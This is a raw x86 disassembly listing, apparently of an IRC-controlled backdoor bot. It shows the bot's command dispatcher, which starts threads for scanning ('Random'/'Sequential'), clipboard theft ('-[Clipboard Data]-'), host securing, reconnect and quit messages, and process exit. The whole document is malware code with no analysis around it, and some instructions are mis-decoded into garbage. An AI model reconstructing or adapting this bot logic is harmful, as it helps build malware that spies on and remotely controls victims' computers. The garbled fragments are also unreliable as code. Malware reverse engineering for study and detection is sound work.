		lea	eax, [ebp-3A0h]
		push	80h
		push	eax
		call	sub_413B2A
		add	esp, 0Ch
		jmp	short loc_41005C
; ---------------------------------------------------------------------------


loc_410056:				; CODE XREF: seg000:0041003Dj
		mov	[ebp-3A0h], bl


loc_41005C:				; CODE XREF: seg000:00410054j
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_41006E
		mov	eax, offset aSequential	; "Sequential"


loc_41006E:				; CODE XREF: seg000:00410067j
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_428F58
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	8
		push	eax
		call	sub_413059
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	offset sub_405E47
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_4100F8


loc_4100E6:				; CODE XREF: seg000:004100F6j
		cmp	[ebp-2ECh], ebx
		jnz	short loc_410113
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_4100E6
; ---------------------------------------------------------------------------


loc_4100F8:				; CODE XREF: seg000:004100E4j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42A00C
		push	eax
		call	sub_4135AD
		add	esp, 0Ch


loc_410113:				; CODE XREF: seg000:004100ECj
		cmp	[ebp-8], ebx
		jnz	short loc_410132
		push	ebx
		lea	eax, [ebp-2C8h]
		push	esi
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 14h


loc_410132:				; CODE XREF: seg000:00410116j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_409615
		pop	ecx


loc_41013F:				; CODE XREF: seg000:0040FED4j
		add	dword ptr [ebp+20h], 0Bh
		mov	eax, [ebp+20h]
		cmp	[eax], bl
		jnz	loc_40FE8A
		jmp	loc_40B71F
; ---------------------------------------------------------------------------


loc_410153:				; CODE XREF: seg000:0040E337j
					; seg000:0040FF50j
		push	offset dword_428F0C
		jmp	loc_410536
; ---------------------------------------------------------------------------


loc_41015D:				; CODE XREF: seg000:0040CB0Bj
					; seg000:0040CB20j
		push	4
		call	sub_4132A1
		test	eax, eax
		pop	ecx
		jle	short loc_410173
		push	offset unk_428ED8
		jmp	loc_40D0AD
; ---------------------------------------------------------------------------


loc_410173:				; CODE XREF: seg000:00410167j
		mov	eax, [ebp+esi-90h]
		cmp	eax, ebx
		jz	short loc_410196
		push	eax
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		call	sub_413B2A
		add	esp, 0Ch
		jmp	short loc_4101AA
; ---------------------------------------------------------------------------


loc_410196:				; CODE XREF: seg000:0041017Cj
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		push	ebx
		call	near ptr 0A70000h
		out	dx, eax


loc_4101AA:				; CODE XREF: seg000:00410194j
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jnz	short loc_4101BA
		mov	esi, offset byte_428290


loc_4101BA:				; CODE XREF: seg000:004101B3j
		push	esi
		lea	eax, [ebp-700h]
		push	edi
		push	eax
		call	sub_413B2A
		mov	eax, ds:dword_428228
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-5F4h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-5F8h], ebx
		mov	[ebp-808h], eax
		lea	eax, [ebp-5F0h]
		push	eax
		call	sub_414DD0
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-700h]
		push	eax
		lea	eax, [ebp-804h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-5F4h]
		push	offset unk_42398C
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	4
		push	eax
		call	sub_413059
		add	esp, 38h
		mov	[ebp-5FCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-808h]
		push	ebx
		push	eax
		push	offset loc_4050E6
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-5FCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_41028A


loc_410274:				; CODE XREF: seg000:00410288j
		cmp	[ebp-568h], ebx
		jnz	loc_40D1C9
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_410274
; ---------------------------------------------------------------------------


loc_41028A:				; CODE XREF: seg000:00410272j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_428E8C
		jmp	loc_40D1BA
; ---------------------------------------------------------------------------


loc_41029B:				; CODE XREF: seg000:0040CAE1j
					; seg000:0040CAF6j
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	short loc_4102BA
		push	edi
		call	sub_413B1F
		test	eax, eax
		pop	ecx
		jz	short loc_4102BA
		push	edi
		call	sub_413B1F
		pop	ecx
		jmp	short loc_4102BF
; ---------------------------------------------------------------------------


loc_4102BA:				; CODE XREF: seg000:004102A4j
					; seg000:004102AFj
		mov	eax, ds:dword_42822C


loc_4102BF:				; CODE XREF: seg000:004102B8j
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-584h], eax
		xor	eax, eax
		cmp	[ebp-9B0h], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp-570h], eax
		jz	short loc_4102F2
		lea	eax, [ebp-688h]
		push	esi
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx
		jmp	short loc_41031D
; ---------------------------------------------------------------------------


loc_4102F2:				; CODE XREF: seg000:004102DFj
		lea	eax, [ebp-3E8h]
		push	104h
		push	eax
		call	near ptr 0A70000h
		mov	ah, 53h
		push	ebx
		lea	eax, [ebp-2D4h]
		push	ebx
		push	eax
		lea	eax, [ebp-3E8h]
		push	eax
		call	sub_4153D8
		add	esp, 14h


loc_41031D:				; CODE XREF: seg000:004102F0j
		lea	eax, [ebp-688h]
		push	eax
		call	sub_413DB0
		cmp	byte ptr [ebp+eax-689h], 5Ch
		pop	ecx
		jnz	short loc_410348
		lea	eax, [ebp-688h]
		push	eax
		call	sub_413DB0
		pop	ecx
		mov	[ebp+eax-689h],	bl


loc_410348:				; CODE XREF: seg000:00410332j
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-910h]
		mov	[ebp-914h], esi
		push	80h
		push	eax
		call	sub_413B2A
		mov	eax, [ebp-8]
		mov	edi, [ebp-4]
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-688h]
		mov	[ebp-578h], edi
		push	eax
		push	dword ptr [ebp-584h]
		push	esi
		call	sub_408619
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42385C
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	3
		push	eax
		call	sub_413059
		add	esp, 20h
		mov	[ebp-57Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-914h]
		push	ebx
		push	eax
		push	offset sub_403FCB
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-57Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_4103FC


loc_4103EA:				; CODE XREF: seg000:004103FAj
		cmp	[ebp-568h], ebx
		jnz	short loc_410417
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_4103EA
; ---------------------------------------------------------------------------


loc_4103FC:				; CODE XREF: seg000:004103E8j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_428E40


loc_410408:				; CODE XREF: seg000:0040E851j
					; seg000:0040E94Bj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		add	esp, 0Ch


loc_410417:				; CODE XREF: seg000:0040E835j
					; seg000:0040E92Fj ...
		cmp	[ebp-8], ebx
		jnz	loc_410D58
		push	ebx
		push	edi


loc_410422:				; CODE XREF: seg000:0040E0FBj
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	esi
		jmp	loc_40DCD4
; ---------------------------------------------------------------------------


loc_410435:				; CODE XREF: seg000:0040CAB7j
					; seg000:0040CACCj
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_410448
		push	esi
		call	sub_413B1F
		jmp	short loc_41044F
; ---------------------------------------------------------------------------


loc_410448:				; CODE XREF: seg000:0041043Ej
		push	8
		call	sub_4132C0


loc_41044F:				; CODE XREF: seg000:00410446j
		cmp	eax, ebx
		pop	ecx
		jz	loc_410E98
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4056A7


loc_41046A:				; CODE XREF: seg000:004108F6j
		add	esp, 10h
		jmp	loc_410E98
; ---------------------------------------------------------------------------


loc_410472:				; CODE XREF: seg000:0040CA8Dj
					; seg000:0040CAA2j
		mov	eax, ds:dword_42F630
		cmp	eax, ebx
		jz	short loc_41048F
		call	eax ; dword_42F630
		test	eax, eax
		jz	short loc_410488
		push	offset unk_428E08
		jmp	short loc_4104A4
; ---------------------------------------------------------------------------


loc_410488:				; CODE XREF: seg000:0041047Fj
		push	offset unk_428DC8
		jmp	short loc_4104A4
; ---------------------------------------------------------------------------


loc_41048F:				; CODE XREF: seg000:00410479j
		push	offset unk_428D88
		jmp	short loc_4104A4
; ---------------------------------------------------------------------------


loc_410496:				; CODE XREF: seg000:0040CA63j
					; seg000:0040CA78j
		call	sub_40853B
		test	eax, eax
		jz	short loc_4104BA
		push	offset unk_428D50


loc_4104A4:				; CODE XREF: seg000:00410486j
					; seg000:0041048Dj ...
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_413B2A
		jmp	loc_410D7F
; ---------------------------------------------------------------------------


loc_4104BA:				; CODE XREF: seg000:0041049Dj
		push	offset unk_428D10
		jmp	short loc_4104A4
; ---------------------------------------------------------------------------


loc_4104C1:				; CODE XREF: seg000:0040CA39j
					; seg000:0040CA4Ej
		cmp	[ebp-8], ebx
		jnz	short loc_4104E0
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 14h


loc_4104E0:				; CODE XREF: seg000:004104C4j
		push	ebx
		push	dword ptr [ebp-4]
		call	sub_40813A
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		push	offset dword_428CCC
		jmp	loc_4107C8
; ---------------------------------------------------------------------------


loc_410502:				; CODE XREF: seg000:0040C959j
					; seg000:0040C96Ej
		push	7
		call	sub_4132A1
		test	eax, eax
		pop	ecx
		jle	short loc_410515
		push	offset dword_428C90
		jmp	short loc_410536
; ---------------------------------------------------------------------------


loc_410515:				; CODE XREF: seg000:0041050Cj
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	loc_408CA5
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_410531
		push	offset dword_428C54
		jmp	short loc_410536
; ---------------------------------------------------------------------------


loc_410531:				; CODE XREF: seg000:00410528j
		push	offset dword_428C20


loc_410536:				; CODE XREF: seg000:0040DE98j
					; seg000:0040DFC8j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx
		jmp	loc_40DCB7
; ---------------------------------------------------------------------------


loc_410549:				; CODE XREF: seg000:0040C92Fj
					; seg000:0040C944j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_407B27
		jmp	loc_40B71C
; ---------------------------------------------------------------------------


loc_410562:				; CODE XREF: seg000:0040C905j
					; seg000:0040C91Aj
		push	dword ptr [ebp+esi-90h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40A9A3
		jmp	loc_40B71C
; ---------------------------------------------------------------------------


loc_41057F:				; CODE XREF: seg000:0040C8DBj
					; seg000:0040C8F0j
		or	edi, 0FFFFFFFFh
		call	ds:dword_41F044	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		mov	[ebp+8], eax
		jz	short loc_4105A8
		push	esi
		call	sub_413B1F
		pop	ecx
		mov	edi, eax


loc_4105A8:				; CODE XREF: seg000:0041059Dj
		mov	eax, [ebp+8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4105C1
		cmp	edi, 0FFFFFFFFh
		jnz	loc_410E98


loc_4105C1:				; CODE XREF: seg000:004105B6j
		push	ebx
		call	sub_408E5A
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_428BF4
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_409615
		jmp	loc_40E686
; ---------------------------------------------------------------------------


loc_410603:				; CODE XREF: seg000:0040C8B1j
					; seg000:0040C8C6j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_406A7B
		lea	eax, [ebp-2C8h]
		push	offset unk_428BC0
		push	eax
		call	sub_4135AD
		add	esp, 14h
		jmp	loc_40D1C9
; ---------------------------------------------------------------------------


loc_41062D:				; CODE XREF: seg000:0040C887j
					; seg000:0040C89Cj
		push	1Eh
		call	sub_4132A1
		test	eax, eax
		pop	ecx
		jle	short loc_410656
		cmp	[ebp-8], ebx
		jnz	loc_40B71F
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_428B8C
		push	dword ptr [ebp-8Ch]
		jmp	loc_40BC7D
; ---------------------------------------------------------------------------


loc_410656:				; CODE XREF: seg000:00410637j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_413B2A
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-90h]
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-450h], eax
		mov	[ebp-458h], ebx
		jz	short loc_4106B7
		push	esi
		push	offset aFull	; "full"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4106B7
		mov	dword ptr [ebp-458h], 1


loc_4106B7:				; CODE XREF: seg000:0041069Aj
					; seg000:004106ABj
		lea	eax, [ebp-2C8h]
		push	offset dword_428B50
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Eh
		push	eax
		call	sub_413059
		add	esp, 14h
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset sub_4122E7
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_410725


loc_41070F:				; CODE XREF: seg000:00410723j
		cmp	[ebp-44Ch], ebx
		jnz	loc_410D58
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_41070F
; ---------------------------------------------------------------------------


loc_410725:				; CODE XREF: seg000:0041070Dj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset dword_428B00
		jmp	loc_410D49
; ---------------------------------------------------------------------------


loc_410736:				; CODE XREF: seg000:0040C85Dj
					; seg000:0040C872j
		cmp	[ebp-8], ebx
		jnz	short loc_410755
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_428AD4
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 14h


loc_410755:				; CODE XREF: seg000:00410739j
		push	dword ptr [ebp+0Ch]
		call	ds:dword_42F7A0
		call	ds:dword_42F668
		call	sub_4082BD
		push	ebx
		call	ds:dword_41F104	; ExitProcess


loc_410770:				; CODE XREF: seg000:0040C833j
					; seg000:0040C848j
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_408F79
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		push	offset dword_428AA8
		jmp	short loc_4107C8
; ---------------------------------------------------------------------------


loc_41079B:				; CODE XREF: seg000:0040C809j
					; seg000:0040C81Ej
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_40922D
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		push	offset dword_428A7C


loc_4107C8:				; CODE XREF: seg000:004104FDj
					; seg000:00410799j
		call	sub_409615
		jmp	loc_40F438
; ---------------------------------------------------------------------------


loc_4107D2:				; CODE XREF: seg000:0040C7DFj
					; seg000:0040C7F4j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4096B5
		jmp	loc_40B71C
; ---------------------------------------------------------------------------


loc_4107EB:				; CODE XREF: seg000:0040C7B5j
					; seg000:0040C7CAj
		cmp	[ebp-0Ch], ebx
		mov	[ebp-374h], bl
		jz	short loc_41082A
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_41082A
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_413B80
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41082A
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp-374h]
		push	80h
		push	eax
		call	sub_413B2A
		add	esp, 10h


loc_41082A:				; CODE XREF: seg000:004107F4j
					; seg000:004107FFj ...
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-3F4h]
		push	80h
		push	eax
		call	sub_413B2A
		mov	eax, [ebp+0Ch]
		push	offset dword_428A50
		mov	[ebp-3F8h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Ch
		push	eax
		call	sub_413059
		add	esp, 20h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3F8h]
		push	ebx
		push	eax
		push	offset sub_4096F5
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_4108CA


loc_4108B4:				; CODE XREF: seg000:004108C8j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40B71F
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_4108B4
; ---------------------------------------------------------------------------


loc_4108CA:				; CODE XREF: seg000:004108B2j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset dword_428A04
		jmp	loc_40B908
; ---------------------------------------------------------------------------


loc_4108DB:				; CODE XREF: seg000:0040C78Bj
					; seg000:0040C7A0j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40959D
		push	offset dword_4289D8
		call	sub_409615
		jmp	loc_41046A
; ---------------------------------------------------------------------------


loc_4108FB:				; CODE XREF: seg000:0040C761j
					; seg000:0040C776j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_413B2A
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-90h]
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-450h], eax
		jz	short loc_410955
		push	offset dword_4289D4
		push	esi
		call	sub_4139D0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp-458h], eax
		jmp	short loc_41095B
; ---------------------------------------------------------------------------


loc_410955:				; CODE XREF: seg000:00410939j
		mov	[ebp-458h], ebx


loc_41095B:				; CODE XREF: seg000:00410953j
		lea	eax, [ebp-2C8h]
		push	offset dword_4289A4
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Fh
		push	eax
		call	sub_413059
		add	esp, 14h
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset dword_4130C4
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_4109C5


loc_4109B3:				; CODE XREF: seg000:004109C3j
		cmp	[ebp-44Ch], ebx
		jnz	short loc_4109E0
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_4109B3
; ---------------------------------------------------------------------------


loc_4109C5:				; CODE XREF: seg000:004109B1j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset dword_428958


loc_4109D1:				; CODE XREF: seg000:0040F87Ej
					; seg000:0040F997j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		add	esp, 0Ch


loc_4109E0:				; CODE XREF: seg000:0040DC1Cj
					; seg000:0040DC3Ej ...
		lea	eax, [ebp-2C8h]
		push	eax
		jmp	loc_40CA1F
; ---------------------------------------------------------------------------


loc_4109EC:				; CODE XREF: seg000:0040C6E5j
					; seg000:0040C6FAj
		push	offset aVds017	; "vds017"
		lea	eax, [ebp-2C8h]
		push	offset dword_42892C
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 20h
		jmp	loc_40D4AD
; ---------------------------------------------------------------------------


loc_410A23:				; CODE XREF: seg000:0040C6BBj
					; seg000:0040C6D0j
		push	ds:dword_45DB88
		call	sub_408E5A
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_4288EC
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 24h
		jmp	loc_40D4AD
; ---------------------------------------------------------------------------


loc_410A61:				; CODE XREF: seg000:0040C691j
					; seg000:0040C6A6j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_410A93
		cmp	[ebp-0Ch], ebx
		jz	short loc_410AA2
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_413B80
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_410AA2
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		add	esp, 0Ch
		jmp	short loc_410AA2
; ---------------------------------------------------------------------------


loc_410A93:				; CODE XREF: seg000:00410A6Aj
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		pop	ecx
		pop	ecx


loc_410AA2:				; CODE XREF: seg000:00410A6Fj
					; seg000:00410A7Ej ...
		push	0FFFFFFFEh
		jmp	loc_40B721
; ---------------------------------------------------------------------------


loc_410AA9:				; CODE XREF: seg000:0040C667j
					; seg000:0040C67Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		push	offset dword_428898
		call	sub_409615
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40B722
; ---------------------------------------------------------------------------


loc_410ACB:				; CODE XREF: seg000:0040C63Dj
					; seg000:0040C652j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		push	offset dword_428854
		call	sub_409615
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40B722
; ---------------------------------------------------------------------------


loc_410AEC:				; CODE XREF: seg000:0040C613j
					; seg000:0040C628j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4055DD
		jmp	loc_40F3A1
; ---------------------------------------------------------------------------


loc_410B02:				; CODE XREF: seg000:0040C56Ej
					; seg000:0040C583j
		push	dword ptr [ebp+esi-90h]
		push	1Eh
		push	offset dword_428844
		push	offset dword_428838
		jmp	loc_40C3AE
; ---------------------------------------------------------------------------


loc_410B1A:				; CODE XREF: seg000:0040C544j
					; seg000:0040C559j
		push	dword ptr [ebp+esi-90h]
		push	1Bh
		push	offset dword_42882C
		push	offset dword_42881C
		jmp	loc_40C3AE
; ---------------------------------------------------------------------------


loc_410B32:				; CODE XREF: seg000:0040C36Fj
					; seg000:0040C384j
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	short loc_410B51
		push	edi
		call	sub_413B1F
		test	eax, eax
		pop	ecx
		jz	short loc_410B51
		push	edi
		call	sub_413B1F
		pop	ecx
		jmp	short loc_410B56
; ---------------------------------------------------------------------------


loc_410B51:				; CODE XREF: seg000:00410B3Bj
					; seg000:00410B46j
		mov	eax, ds:dword_428224


loc_410B56:				; CODE XREF: seg000:00410B4Fj
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-464h], eax
		cmp	esi, ebx
		jz	short loc_410B7B
		push	esi


loc_410B68:				; CODE XREF: seg000:00410B8Aj
		lea	eax, [ebp-474h]
		push	10h
		push	eax
		call	sub_413B2A
		add	esp, 0Ch
		jmp	short loc_410B92
; ---------------------------------------------------------------------------


loc_410B7B:				; CODE XREF: seg000:00410B65j
		cmp	[ebp-9B3h], bl
		jz	short loc_410B8C
		lea	eax, [ebp-0C4h]
		push	eax
		jmp	short loc_410B68
; ---------------------------------------------------------------------------


loc_410B8C:				; CODE XREF: seg000:00410B81j
		mov	[ebp-474h], bl


loc_410B92:				; CODE XREF: seg000:00410B79j
		mov	eax, [ebp-4]
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		mov	[ebp-458h], eax
		mov	eax, [ebp-8]
		push	80h
		mov	[ebp-454h], eax
		lea	eax, [ebp-4F4h]
		push	eax
		mov	[ebp-4F8h], esi
		call	sub_413B2A
		add	esp, 0Ch
		push	dword ptr [ebp-464h]
		push	esi
		call	sub_408619
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_423DF4
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	11h
		push	eax
		call	sub_413059
		add	esp, 1Ch
		mov	[ebp-460h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4F8h]
		push	ebx
		push	eax
		push	offset loc_4064B2
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-460h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_410C43


loc_410C2D:				; CODE XREF: seg000:00410C41j
		cmp	[ebp-450h], ebx
		jnz	loc_40B71F
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_410C2D
; ---------------------------------------------------------------------------


loc_410C43:				; CODE XREF: seg000:00410C2Bj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4287D0
		jmp	loc_40B908
; ---------------------------------------------------------------------------


loc_410C54:				; CODE XREF: seg000:0040C31Bj
					; seg000:0040C330j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410C7C
		push	edi
		push	offset aSec	; "sec"
		call	sub_4139D0
		pop	ecx
		mov	[ebp-458h], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_410C86


loc_410C7C:				; CODE XREF: seg000:00410C63j
		mov	dword ptr [ebp-458h], 1


loc_410C86:				; CODE XREF: seg000:00410C7Aj
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_413B2A
		mov	eax, [ebp+0Ch]
		add	esp, 0Ch
		cmp	[ebp-458h], ebx
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
